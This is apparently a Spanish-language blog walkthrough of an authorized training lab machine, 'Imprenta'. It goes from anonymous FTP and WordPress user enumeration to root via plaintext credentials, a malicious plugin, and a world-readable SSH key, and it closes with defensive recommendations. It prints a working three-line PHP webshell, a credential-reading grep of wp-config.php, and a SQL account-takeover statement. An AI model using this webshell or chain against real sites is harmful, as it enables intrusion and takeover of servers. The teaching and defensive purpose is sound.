29 de julio de 2026
Imprenta: de un FTP anónimo a root, sin un solo exploit
Gerardo Eliasib
CEO of Spartan-Cybersecurity

Esta máquina no tiene una vulnerabilidad.
No hay CVE que citar, no hay versión sin parchear, no hay desbordamiento de buffer. Si buscas el exploit que la tumba, no vas a encontrarlo, porque no existe.
Y aun así cae hasta root, entera, en una cadena de cinco pasos donde cada eslabón es una decisión que alguien tomó a propósito.
Esa es Imprenta, una de las tasks de nivel fácil del CPPJ, y probablemente la máquina que mejor representa cómo se comprometen las empresas de verdad. No por un genio con un 0-day: por un backup que se subió al sitio equivocado. Todo lo que sigue ocurre dentro de un laboratorio autorizado, sobre infraestructura que construimos para eso.
Tres puertos, dos que importan
El escaneo es de los más aburridos que vas a ver, y eso ya es información:
nmap -sV -v 10.10.10.103PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.56 (Debian)Tres servicios. Y lo primero que haces con ese output es clasificarlos por si necesitan credenciales o no.
El 22 está descartado de entrada: SSH no te va a dejar entrar sin una clave o una contraseña que todavía no tienes, y tirarle fuerza bruta a un OpenSSH moderno es perder la tarde. Quedan dos superficies no autenticadas: el 21 y el 80.
Ahí es donde se empieza. Siempre.
El sitio que no carga bien (y por qué)
Antes de nada, un detalle que frustra a media clase y que conviene entender en vez de sufrir.
Apache está sirviendo un virtual host con un ServerName propio: blog.imprenta. WordPress, por su parte, guarda su URL en la base de datos y la usa en enlaces absolutos para todo — CSS, imágenes, redirecciones. Si entras por la IP, el sitio te va a redirigir a un nombre que tu máquina no sabe resolver, y vas a ver una página rota que parece un fallo del laboratorio.
No lo es. Solo tienes que decirle a tu Kali dónde vive ese nombre:
# /etc/hosts
10.10.10.103 blog.imprentacurl -s http://blog.imprenta/wordpress/ | grep -oiE '<title>[^<]*</title>'
# <title>Imprenta</title>Es un detalle de configuración, no de hacking. Pero aparece en pentests reales cada semana, y quien no lo entiende asume que el objetivo "no funciona" y lo descarta.
WordPress te dice quién manda
El 80 merece su propia enumeración antes de que toques el FTP. Empezamos por el fingerprint del stack:
whatweb -a1 http://blog.imprenta/wordpress/Apache[2.4.56] MetaGenerator[WordPress 7.0.2] Title[Imprenta] WordPress[7.0.2]WordPress. Y WordPress tiene una costumbre que conviene conocer: filtra los nombres de sus autores por varias vías a la vez. Aquí hay tres, y las tres convergen en el mismo usuario:
# (a) La REST API devuelve el JSON de autores, sin autenticación
curl -s "http://blog.imprenta/wordpress/?rest_route=/wp/v2/users"
# [{"id":1,"name":"j.autor","slug":"j-autor", ...}]
# (b) Enumeración clásica: ?author=<id> redirige y revela el login en el slug
curl -sI "http://blog.imprenta/wordpress/?author=1" | grep -i ^location
# Location: http://blog.imprenta/wordpress/index.php/author/j-autor/
# (c) wpscan, la herramienta canónica para esto
wpscan --url http://blog.imprenta/wordpress/ --enumerate u --no-updateFíjate en el id:1. En cualquier instalación de WordPress, el usuario con ID 1 es el primer administrador creado. No es una convención: es cómo se instala. Así que ese JSON público no te está dando "un usuario del blog": te está dando el nombre de la cuenta de administración.
Ya tienes media credencial sin haber tocado el FTP todavía.
Y una nota de método: probar las tres vías no es redundancia. En un objetivo real, un plugin de seguridad puede haber bloqueado la REST API y no la enumeración por ?author=, o al revés. Un checklist con una sola casilla se rompe a la primera; una técnica con tres vías, no.
La otra mitad estaba en un FTP anónimo
vsftpd acepta login anónimo. Y dentro hay un directorio upload/ que alguien usó como cajón de sastre:
addition.sh
backup.json
cpu.sh
creds.txt
passwd.bk
shadow.bkAquí es donde se ve el criterio, porque hay dos caminos y solo uno es el correcto.
El instinto de casi todo el mundo es saltar sobre passwd.bk y shadow.bk. Son copias del sistema de usuarios de Linux, huelen a jackpot, y ya te sabes la receta: unshadow, hashcat, esperar. Es un camino largo, caro en tiempo, y con final incierto.
creds.txt pesa 27 bytes:
j.autor
[la contraseña del administrador de WordPress]Usuario y contraseña del panel, en texto plano.
Parte del oficio no es saber usar seis herramientas. Es mirar seis archivos y saber cuál de ellos es el que importa.
Los backups de passwd/shadow son un cebo perfectamente construido: parecen el premio, cuestan horas y no llevan a ningún sitio que el archivo de al lado no te dé en un segundo.
El panel de WordPress es ejecución de código
Con esas credenciales entras a wp-admin como administrador. Y aquí conviene decir algo que mucha gente no tiene interiorizado:
En WordPress, ser administrador y tener ejecución de código en el servidor son, prácticamente, lo mismo.
No es un fallo de seguridad de WordPress. Es su modelo de funcionamiento: un administrador puede instalar plugins, y un plugin es sencillamente código PHP que el servidor va a ejecutar. La funcionalidad legítima es el vector.
Un plugin mínimo que actúe de webshell cabe en tres líneas:
<?php
/* Plugin Name: spartan */
if (isset($_GET['cmd'])) { echo "<pre>"; system($_GET['cmd']); echo "</pre>"; }Se comprime en un .zip, se sube desde Plugins → Añadir nuevo → Subir plugin, y queda accesible en el docroot:
curl -s "http://blog.imprenta/wordpress/wp-content/plugins/spartan/spartan.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)Tienes RCE. Pero mira quién eres.
www-data no es el final: es el punto de partida
www-data es el usuario del servidor web. No es root, no es el dueño de los datos, y no puede casi nada. Un principiante celebra el webshell y se queda ahí. Un pentester lo trata como lo que es: una posición desde la que enumerar.
Lo primero, siempre, es preguntar por sudo:
?cmd=sudo -n -l -> sudo: a password is requiredCamino cerrado. Y eso es útil: acabas de descartar una vía completa y de enfocar la búsqueda. Si no escalas por permisos concedidos, escalas por un secreto reutilizable que alguien dejó legible.
Empieza por el archivo de lectura obligada tras cualquier RCE en WordPress:
?cmd=grep -E 'DB_NAME|DB_USER|DB_PASSWORD' /var/www/html/wordpress/wp-config.phpdefine( 'DB_NAME', 'wordpressdb' );
define( 'DB_USER', 'wordpressuser' );
define( 'DB_PASSWORD', '[contraseña de la base de datos]' );Credenciales de MySQL en claro, porque wp-config.php no puede guardarlas de otra forma: PHP necesita leerlas en texto para conectarse. Con ellas entras a la base de datos y sacas la tabla de usuarios:
SELECT ID, user_login, user_pass, user_email FROM wp_users;1 j.autor $wp$2y$10$oSfyzydx4IRE...Ese prefijo $wp$2y$10$ es bcrypt — WordPress cambió a bcrypt en la 6.8, dejando atrás el viejo $P$ de phpass. Traducción práctica: crackearlo es lento y caro, y probablemente no valga la pena.
Pero es que no hace falta. Con escritura en la base de datos no necesitas descubrir la contraseña: la reemplazas. WordPress todavía acepta el formato MD5 heredado y lo re-hashea en el primer login:
-- La técnica canónica de takeover desde la BD.
-- En un lab compartido NO se ejecuta: rompe el acceso del resto de estudiantes.
UPDATE wp_users SET user_pass = MD5('nuevapass') WHERE user_login = 'j.autor';Guárdate esa jugada. Es la que convierte "tengo la base de datos" en "tengo el sitio" cuando llegas por una inyección SQL y no tienes credenciales de nada.
La clave que estaba en 777
Sigues siendo www-data. La base de datos no te ha dado el salto, así que toca enumerar el sistema de archivos buscando lo que sudo -l te obligó a buscar: un secreto reutilizable.
?cmd=ls -la /home/admin/backup/
# -rwxrwxrwx 1 admin admin 1679 Mar 22 2023 id_rsa
?cmd=find / -name id_rsa 2>/dev/null
# /home/admin/backup/id_rsaUna clave SSH privada en modo 777. Legible por cualquier proceso de la máquina, incluido el servidor web.
Ese archivo no llegó ahí por casualidad, y ese es justo el punto: alguien hizo un backup de su clave, la copió a una carpeta cómoda, y le puso permisos amplios para que "no diera problemas". Tres decisiones de conveniencia, cada una defendible en su momento.
ssh -i id_rsa admin@10.10.10.103admin@imprenta:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin),27(sudo)Ya no eres el servidor web: eres un usuario del sistema. Y ese usuario está en el grupo sudo. La pregunta obligatoria, otra vez:
admin@imprenta:~$ sudo -l
User admin may run the following commands on imprenta:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALLadmin@imprenta:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)root.
Nadie "hackeó" esta máquina
Recorre la cadena hacia atrás y cuenta las vulnerabilidades. No hay ninguna.
- El FTP anónimo es una función, activada a propósito.
- La REST API de WordPress que lista autores es el comportamiento por defecto, documentado.
- Subir plugins desde el panel es la razón de existir del panel.
- Las credenciales en claro en
wp-config.phpson obligatorias para que PHP conecte con MySQL. sudo NOPASSWD: ALLes una configuración válida que alguien escribió a mano.
Cinco eslabones, cinco decisiones operativas razonables por separado. Ninguna es un bug. Juntas te llevan de "no tengo nada" a root.
El atacante no rompe la máquina. Recorre las decisiones que ya estaban tomadas.
Por eso los informes de pentest que solo listan CVEs valen la mitad de lo que deberían. La mayoría de los compromisos reales se parecen mucho más a Imprenta que a un exploit de kernel: un secreto guardado donde no tocaba, reutilizado en el sitio equivocado.
El otro lado: cortar la cadena
La buena noticia de una cadena es que se rompe por cualquier eslabón. Aquí hay cinco oportunidades de pararla, y las de arriba son las más baratas:
- El FTP anónimo no debería exponer nada. Si necesitas subida anónima, que el directorio no sea legible; y ningún backup —de credenciales, de
/etc/shadowo de lo que sea— debería vivir en una superficie que atiende conexiones sin autenticar. Este solo control ya deja la cadena entera sin punto de partida. - Corta la enumeración de usuarios. Restringe
/wp-json/wp/v2/usersa peticiones autenticadas y bloquea la redirección de?author=. No es una defensa fuerte por sí sola —el nombre de usuario acabará filtrándose de otra forma— pero elimina la mitad gratuita del trabajo del atacante. - Quita la instalación de plugins en producción.
define('DISALLOW_FILE_MODS', true);enwp-config.phpdesactiva el editor y la subida de plugins y temas. Si el flujo de despliegue de tu sitio es un pipeline y no el panel, no estás perdiendo nada — y estás cerrando la conversión de "sesión de admin" en "ejecución de código". - Las claves privadas se guardan en `600` y con passphrase. Nunca en un directorio legible por el servidor web, nunca en un backup dentro del docroot. Y si una clave llega a estar en 777 aunque sea un rato, la respuesta correcta es rotarla, no arreglar los permisos.
- `NOPASSWD: ALL` convierte cualquier acceso en root inmediato. Concede comandos concretos, no
ALL, y exige contraseña salvo que haya una razón operativa documentada. Ese último eslabón es el que transforma un compromiso molesto en un compromiso total.
En detección hay una señal casi definitiva: un archivo nuevo apareciendo en `wp-content/plugins/`. Ningún sitio en producción estrena plugins solo. Monitorizar la integridad de ese directorio detecta el paso 3 de la cadena, cuando el atacante todavía es www-data y aún no ha leído ninguna clave.
Lo que Imprenta te enseña
Cetro te enseña a leer una máquina. Imprenta te enseña a leer una organización: cómo se guardan los secretos, dónde se dejan los backups, qué permisos se ponen cuando alguien tiene prisa.
Esa lectura no se aprende memorizando herramientas. Se aprende recorriendo cadenas completas, de la primera conexión anónima al uid=0, y entendiendo qué decisión habilitó cada paso.
En la segunda parte usamos Imprenta para lo que de verdad la hace importante en el laboratorio: es el pivote hacia un segmento de red que tu Kali no puede ver. Montaremos el túnel con sshuttle y desarmaremos por qué, a través de un túnel, tu nmap te miente.
Artículos relacionados

31 de julio de 2026
Cetro, Parte 2: pivoting y túneles de red con ligolo-ng
Eres Domain Admin, pero hay una red entera que tu Kali no puede ver. Convertimos a Cetro en un puente con ligolo-ng y desmontamos el fantasma que tumba a media clase: el routing asimétrico.

28 de julio de 2026
Fortaleza: cinco clics a SYSTEM desde la pantalla de bloqueo
Sin exploit, sin shellcode, sin contraseña. Solo clics sobre una advertencia de certificado. Diseccionamos CVE-2017-7344 en Fortaleza (CPPJ) y la clase de bug que lo hace posible.